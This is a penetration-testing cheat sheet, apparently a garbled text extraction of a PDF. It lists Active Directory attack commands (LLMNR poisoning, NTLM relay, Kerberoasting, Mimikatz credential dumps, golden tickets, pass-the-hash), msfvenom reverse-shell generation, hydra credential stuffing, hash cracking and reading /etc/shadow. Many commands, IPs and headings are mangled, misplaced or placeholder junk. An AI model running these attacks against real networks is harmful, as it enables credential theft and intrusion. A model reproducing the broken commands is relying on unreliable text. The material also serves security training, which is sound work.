

Ports

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MISCELLANEOUS

Google Fu

use quotations to find only results that contain the text within the quotation marks.

```
"Introduction to Cryptography"
```

use `site` keyword to only find results from a specific website.

```
Introduction to Cryptography site:stackexchange.com
```

using the `filetype` keyword to search for specific file types.

```
Introduction to Cryptography -review filetype:pdf
```

using the `allintitle` option to search the title of webpages for your provided keyword/text

```
allintitle:index of
```

using the `inurl` option to search for the existence of a particular string in a url

```
inurl:admin site:someadminsite.com
```

to get results that contain links/redirects to the example.com

```
link:example.com
```

Google Fu (cont)

use the *wildcard* to do a wildcard search for results that have anything as the but must begin and end with "hack" and "VPN" respectively

```
"hack * VPN"
```

to return results of websites that offer similar services to amazon.com , useful if you want to know other competitors for a particular service

```
Dell Laptop related:amazon.com
```

More of Google Fu here: https://www.blackhat.com/presentations/bh-europe-05/BH-EU_05-Long.pdf

File transfers

```
sdsdf
```

```
sdsf
```

Spawing TTY shells

```
Link 1
```

```
Link 2
```

More metasploit

To search for metasploit modules within a metasploit module directory

```
search /path/ to/ msf /module -t search_string
search exploits/ linux -t ftp
```

Load metasploit plugins during a meterpreter session

```
load plugin -name
```

Get help on a plugin

```
help >> scroll down
```

ACTIVE DIRECTORY

Gaining Initial Foothold

Use Responder to capture NTLMv2 hashes via LLMNR poisoning

```
responder -I eth0 -r
```

Gaining Initial Foothold (cont)

Crack capture NTLMv2 hash with hashcat

```
hashcat -m 5600 ntlmha sh.txt dic
```

Use nmap to enumerate domain for targets with

```
nmap --script smb 2-smb 2-smb 2-smb 2-smb 2-smb .0/24
```

If SMB signing disabled, SMB Relay attack (like SMB=Off and HTTP=Off and HTTPS=Off in

Then, use `ntlmrelayx.py` to relay hashes captured dump local SAM hashes.

```
responder -I eth0 -r then ./ntlmrelayx.py
```

To get interactive SMB shell

```
./ntlmrelayx -tf target s.txt -sm
```

Using `psexec.py`, `smbexec.py` or `wmiexec.py` if

```
./psexec.py GOLD.local /j sno w:
```

Using metasploit `psexec`

```
use window s/s mb/ psexec >> set opt
```

Exploiting IPv6 to create an arbitrary domain u

```
mitm6 -d GOLD.local >> ntlmrelayx GOLD.local -l adlootdir
```

Gaining Initial Foothold (cont)

Passback attack on MFP devices (e.g, printers)

```
nc -L -p 389 on attack machine >>
enumerate domain for MFPs >> login to
MFP >> change LDAP server on MFP to
attack IP >> capture hashes on attack
machine
```

Sweep domain for MFP devices using metasploit's httpversion

To be edited

Enumerate, Enumerate, Enumerate

Post-Compromise Enumeration

To get the Resultant Group Policy config that has been applied on a host. This will output what GPO took precedence for a given config.

```
gpresult /h output.html
```

Find file shares on a domain

```
Invoke -Share Finder OR Find-
DomainShare
```

Enumerating with PowerView

Run PowerView

```
.\PowerView.ps1
```

Get information about the domain (DCs IP, name, ...)

```
Get-NetDomain
```

Get information of DCs on the domain — domain name, IP of DC, DC OS, ...

```
Get-NetDomainController
```

To get the Default Domain Policy configs

```
Get-DomainPolicy
```

Access complete values of any Powershell property name

```
(Get-DomainPolicy).name or Get-DomainPolicy | select name
```

Get information of users on the domain

```
Get-NetUsers or Get-DomainUser
```

Post-Compromise Enumeration (cont)

To fetch just one entity from Get-NetUsers, Get-NetGroups

```
Get-NetUsers -Identity jsnow or Get-NetGroups -Identity '0.D01a/24 AdmE
```

Get all admins on a domain

```
Get-NetGroup | Select -Object Name | Select -String '0admin' or Get-NetGroup | Select -Object Name, admincount | Select -String 1--local-auth for local account login
```

Get all users in a group

```
Get-NetGroupMember -Identity "Enterprise Admins" -Recurse
```

Enumerating with BloodHound

Default usage to collect mappings/data via the SharpHound.ps1 Ingester (noisy option)

```
Invoke -BloodHound -Domain GOLD.local
```

Perform more specific collection (less noisy). ? takes different options: Group, LocalGroup, RDP, Sessions

```
Invoke-BloodHound -Domain GOLD.local -CollectionMethod ? --ZipFilename output.zip
```

To collect Sessions currently active on the domain (users log in and out all the time)

```
Invoke -BloodHound -CollectionMethod Session -Loop -LoopInterval
```

```
HH:MM:SS ./psexec.py win_on e:@ 10.0.0.5 -
```

After collection, import to Bloodhound GUI on kali

```
bloodhound
```

Post Compromise Attacks

Dumping SAM NTLM hashes on DC with secretsdump

```
./secretsdump.py -just- dc-ntlm GOLD.local/1/doma inadmin user: pas
```

```
.16 8.2 19.140
```

Post Compromise Attacks (cont)

Pass a password across a range of computer on the network

```
crackmapexec smb 10.0.0.1/24 Admin/Password
```

Pass a hash across a range of computer on the network

```
crackmapexec smb 10.0.0.1/24 Admin/0ad510rjSetwD0H
```

for local account login

```
--sam to dump sam hashes
```

Attempt to dump the (local) SAM, while running

```
crackmapexec smb 10.0.0.1/24 -d G
```

```
orsecret sdu mp.py -just- dc-ntlm
```

To dump LSA secrets on target computer

```
crackmapexec smb 192.16 8.2 19.0/
```

```
a
```

Crack NTLM hashes using hashcat

```
hashcat -m 1000 sam hashes.txt
```

Gain remote shell with NTLM hash using ps/sr

```
method Session -Loop -LoopInterval
```

Token Impersonation (TI) with metasploit

```
use window s/s mb/exec >> set options
```

```
mpersonate_token DOMAIN*username*
```

Add new user via TI attack if impersonated token

```
dump_user username password
```



Post Compromise Attacks (cont)	Post Compromise Attacks -- Mimikatz	Useful Linux Commands (cont)
Add new (local) user via T1 <pre>add_user username password</pre>	First things first <pre>privilege::debug</pre>	To kill a process on an open port (thus closing) <pre>kill pid_no</pre>
Add local users to local groups <pre>add_local_user groupname user_t o_add</pre>	Dump hashes of currently logged on users <pre>sekurlsa::logonpasswords</pre>	To zip a file/directory (-r for recursiveness) <pre>zip -r zipped file e.zip file-o r- o-zip</pre>
Performing Kerberoasting Attacks -- get a TGST <pre>/GetUserSPNs.py GOLD.1 oca l/j sno w: :jsahmspcwlsdc/ppttB.16 8.2 19.140</pre>	Dump SAM hashes <pre>lsadump::sam /ipj@02.1name2 k9b1g0</pre>	To unzip a zipped file <pre>request unzip zipped file e.zip</pre>
Perform Kerberoasting with user's hash <pre>/GetUserSPNs.py GOLD.1 oca l/j sno w: :jsahmspcwlsdc/ppttB.16 8.2 19.140 request</pre>	Dump SAM hash of a specific account <pre>lsadump::sam /ipj@02.1name2 k9b1g0</pre>	To list cronjob for a user <pre>hashes NTLMhash -r crontab -u johndoe -l</pre>
Crack a TGST with hashcat <pre>hashcat -m 13100 tgst.txt rockyo u.txt -O</pre>	Golden Ticket Attack <pre>kerberos::golden /user:someuser /domain: GOLD.local {{&nbsp;}}/sid:domain</pre>	To create a cronjob to echo "nice" into a file every 5 minutes <pre>crontab -e --> */1 * * * * echo " nice" > file.txt</pre>
GPP/cPassword attack -- finding the Groups.xml <pre>smbclient -L *\\$DC-IP\\SYSVOL --user GOLD.1 oca l/j sno w%j ohnsnow prompt off >> recurse on >> mget</pre>	Useful Linux Commands To locate a file <pre>updatedb locate FILE</pre>	To find a file in directory / with permission of 4000 <pre>find / -type f -perm -4000</pre>
Decrypting the cPassword obtain from Groups.xml <pre>gpp-decrypt \$cPassword</pre>	To clone a github repo <pre>git clone REPO_URL</pre>	To set SUID bit on a file or dir <pre>chmod u+s or chmod 4000</pre>
Performing a URL File Attack to get more NTLMv2 hashes <pre>create a file: @somefile.url >> in created file, put: [InternetShortcut] URL=someurl</pre>	For command2 to execute if and only if command1 executes successfully <pre>COMMAND1 && COMMAND2</pre>	To set SGID bit on a file or dir <pre>chmod g+s or chmod 2000</pre>
Performing the Print Nightmare Attack External Link	For command2 to execute if and only if command1 fails to exec <pre>COMMAND1 COMMAND2</pre>	To set sticky bit on a file or dir <pre>chmod +t or chmod 1000</pre>
	Print a range of numbers from start to stop with step increment <pre>seq [START_NO] [STEP] STOP_NO seq 1 256</pre>	Network Commands To get IP info of network interfaces <pre>ip a</pre>
	To split a string into fields based on a delimiter (e.g space), and select the Nth field. Include file if string is in a file and not stdin <pre>" string to cut into six fields " cut -d ' ' -f N [FILE] arp -a</pre>	To get arp neighbors <pre>arp -a</pre>
	To list open ports on a system <pre>netstat -lp</pre>	To get info on gateway <pre>ip r</pre>



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Users and Privileges

To switch between users

```
su USERNAME
```

To run a **command** as **user** without explicitly switching users

```
su USERNAME -c "COM MAN D"
```

To list sudo permissions for a user in terminal scope

```
sudo -l
```

To elevate priv of a user in terminal scope into super user

```
sudo su
```

For persistent super user / root mode

```
sudo -s
```

To change passwd for a user

```
passwd USERNAME
```

To add a new **user account**

```
adduser USERNAME
```

To view all user accounts, passwd or shadow file

```
cat /etc/passwd
```

```
cat /etc/shadow
```

To view all groups

```
cat /etc/group
```

To view sudo users (sudoers)

```
cat /etc/sudoers
```

Linux Services

To start, stop or restart a service

```
service SERVICE_NAME start
```

```
service SERVICE_NAME stop
```

```
service SERVICE_NAME restart
```

To check status of a service

```
service SERVICE_NAME status
```

Stages of Ethical Hacking

information gathering using tools like wapalyzer, builtwith, breachparse,

scanning and enumeration using tools like nmap, dirb, nikto, nessus, sublist3r, amass,

gaining access (exploitation) using tools like searchsploit, exploit-db, metasploit, buffer overflows, bind/reverse shells

post-exploitation using tools like pspy64, linpeas.sh, winpeas.sh or by doing a hashdump, passwd/shadow/group/sudoers file dumps, etc

Scanning and Enumeration

Port/Service Scanning/Discovery

enumerate all devices discoverable on a subnet

```
netdis cover -r 10.10.1 0.0/24
```

nmap TCP half-open scan on all ports with OS/version detection, script scan, tracer

```
nmap -T4 -sS -p- -A 10.10.1 0.10
```

nmap scan on range of IPs with only ping scan (port scan disabled)

```
nmap -T4 -sn 10.10.1 0-124.0-255
```

nmap TCP half-open scan for select ports while skipping host discovery

```
nmap -T4 -sS -p1-1024 -A -Pn 10.10.1 0.0-255
```

-sT (for full TCP 3-way handshake scan)

-sU (for UDP scan)

other scan techniques in place of -sS

Port/Service Scanning/Discovery (cont)

Nessus scan

```
service nessusd start --> https://kali:8834
```

Nikto scan

```
nikto -host http://10.10.10.10
```

HTTP/S Enumeration

Website vuln scan with Nikto

```
nikto -host http://10.10.10.10
```

standard directory busting with dirb using default no recursive search.

```
dirb https://secure.ecureSITE.com -
```

Directory busting with dirb specifying wordlists

```
dirb http://unsecuresite.com /path/to/wordlist
```

standard directory busting with gobuster

```
gobuster dir -u https://some-site.com
```

directory busting with gobuster, specify threads

```
gobuster dir -u http://some-site.com -t 100 --php
```

Enumeration of tech stack for a website

```
whatweb https://www.example.com
```

Some wordlists to use:

```
/usr/share/wordlists/dirbuster-2.3-medium.txt
/usr/share/wordlists/dirbuster-2.3-medium.txt
```

Other useful options for dirbusting with gobuster include: -c (to specify cookies string), -a (to set user agent).



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Domain Enumeration

Sub-domain enumeration

```
sublist3r -d DOMAIN.COM
```

discover domain names hosted on a server via virtual hosting

```
dns -n SERVER_IP -r LOCAL_IP_RANGE_TO_SEARCH_FOR_DOMAINS {{nb}}
dnsrecon -n 10.10.10.11 -r 127.0.0.0/24
```

to add discovered domain to host file

```
edit /etc/hosts and add mapping: SERVER_IP DOMAIN NAME.COM
```

To probe domains for http/s servers using tomnomnom's httprobe

```
cat domain -na mes.txt | httprobe
```

SMB Enumeration

connect to SMB and list share names

```
smbclient -L \\192.168.2.193
```

connect to an SMB share

```
smbclient \\192.168.2.193\SHARENAME$
```

Enumerate SMB with help from modules from metasploit

auxiliary

```
search smb auxiliary
```

SSH Enumeration

connecting to SSH on legacy systems. First start with `ssh login@serverip` and continue incrementally if needed

```
ssh username@10.10.10.10 -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes128-cbc
```

To connect using private key.

```
ssh -i id_rsa johndoe@10.0.0.1
```

NFS Enumeration

To mount the network file system on local machine

```
mount 10.0.0.1: /srv/nfs /mnt
```

EXPLOITATION

Metasploit

Start metasploit. [Starting metasploit first time?]

```
msfconsole.[msfdb init && msfconsole]
```

To search for an exploit

```
search EXPLOIT_NAME
```

After search, to select an exploit

```
use exploit_tdb_id
```

To see options for an exploit

```
options
```

To set a value for an option

```
set option_name value
```

To run exploit

```
run or exploit
```

Automate metasploit with recourse scripts (.rc files)

```
msfconsole -r FILE_NAME.rc
```

To get list of all metasploit payloads via msfvenom

```
msfvenom --list payloads
```

To get the list of all options per payload

```
msfvenom -p payload_name --list options
```

To get list of payload file output formats support by msfvenom

```
msfvenom --list formats
```

Metasploit (cont)

Basic syntax for using msfvenom

```
msfvenom -p payload_name OPTION_ARCH -f outfile_format -o outfile
```

Create reverse_shell shellcode (e.g. for buffer

```
msfvenom -p windows/hello_l_rv2 EXITFUNC=thread -b '\x00' -a x86
```

Searchsploit / Exploit-db

To search for an exploit on exploit-db

```
Use exploit-db website or searchsploit EXPLOIT_NAME on terminal
```

After search, to get full local path on system for an exploit

```
searchsploit -p EXPLOIT_TDB_ID
```

Reverse shell

<https://www.revshells.com/>

[https://github.com/swisskyrepo/Payloads-AllTheThings/blob/master/Methodology-%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/Payloads-AllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

Bruteforce

Bruteforce password for a username to a server

```
hydra -l username -P /path/to/port
hydra -l john -P /usr/share/joomla:1:22
```

Credential stuffing with hydra

```
hydra -L usernames.txt -P passwords.txt
```



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Bruteforce (cont)

Credential stuffing with hydra using a file with colon separated "username:pass" format on multiple targets

```
hydra -C logins.txt -M target s.txt -p 139 smb
```

Bruteforce password for a zip file

```
fcrackzip -u -D -p /path/ to/ wor dlist zipfil e_  
name
```

For bruteforcing web-sites/-apps, use Burp Suite >> Intruder >> Sniper (for password spraying or to try several passwords against a username --). Use Burp Suite >> Intruder >> Pitchfork (for credential stuffing) or use Burp Suite >> Intruder >> Cluster bomb (for credential stuffing that tries every combination of username/password)

Post Exploitation

Dump hashdump
password
hashes of
user
accounts

To hash-identifier
identify a
type of
hash

To crack a hash using hashcat (check <https://hashcat.net/wiki/documentation.php?id=hashcat> for hash-mode)

```
hashcat -m hash-mode digest /path/ to/ wor dlist
```

```
hashcat -m 0 cd7350 282... wordlist.txt
```

https://hashcat.net/wiki/documentation.php?id=hashcat for hash-mode)